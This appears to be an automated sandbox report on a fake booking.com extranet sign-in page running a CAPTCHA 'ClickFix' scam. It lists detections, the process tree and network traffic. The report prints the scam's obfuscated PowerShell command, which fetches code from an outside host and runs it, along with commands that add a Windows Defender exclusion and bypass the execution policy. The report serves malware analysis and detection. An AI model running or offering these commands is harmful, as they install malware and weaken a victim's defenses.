Edit tour

Windows Analysis Report
https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZC

Overview

General Information

Sample URL:	https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00
Analysis ID:	1710751
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

HTML page adds supicious text to clipboard

Loading BitLocker PowerShell Module

PowerShell case anomaly found

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2120,i,9730610684650128976,8350997037842141116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 5408 cmdline: cmd /K poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4132 cmdline: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6084 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4992 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2792 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4580 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6332 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.6.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.8.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.7.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4132, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , ProcessId: 6084, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4132, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , ProcessId: 6084, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4132, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , ProcessId: 6084, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4132, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' , ProcessId: 6084, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", CommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", CommandLine|base64offset|contains: FD, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /K poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5408, ParentProcessName: cmd.exe, ProcessCommandLine: poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7", ProcessId: 4132, ProcessName: powershell.exe

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-06-10T12:50:53.023947+0200	1810000	2	Potentially Bad Traffic	192.168.2.6	49724	45.141.101.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.8.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Source: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI

HTTP Parser: Total embedded image size: 63218

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI	HTTP Parser: No favicon
Source: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI	HTTP Parser: No favicon
Source: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49725 version: TLS 1.2

Source:	Binary string: ore.pdb source: powershell.exe, 00000019.00000002.2035742087.0000000008275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ommands.Management.pdbR\| source: powershell.exe, 00000011.00000002.1831479504.00000000077B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5\| source: powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000019.00000002.2033503262.000000000725A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdbQ source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1938844634.0000000006EA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbI source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Management.pdbJ source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\dll\mscorlib.pdbp:1 source: powershell.exe, 00000019.00000002.2035742087.0000000008275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000011.00000002.1833483484.00000000087F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000015.00000002.1938940274.0000000006EF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >root\Microsoft\Windows\Defenderb.pdb=]yR( source: powershell.exe, 0000001B.00000002.2087595610.0000000006EC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1938844634.0000000006EA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000015.00000002.1940733987.0000000007EBA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdba^< source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb4 source: powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb) source: powershell.exe, 00000011.00000002.1832949556.0000000008776000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdby source: powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbent.pdb source: powershell.exe, 0000001B.00000002.2087825147.0000000006F58000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 56MB

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49724 -> 45.141.101.104:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212

Source: global traffic	HTTP traffic detected: GET /sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1host: booking.home-extranet.comsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"upgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=0, i
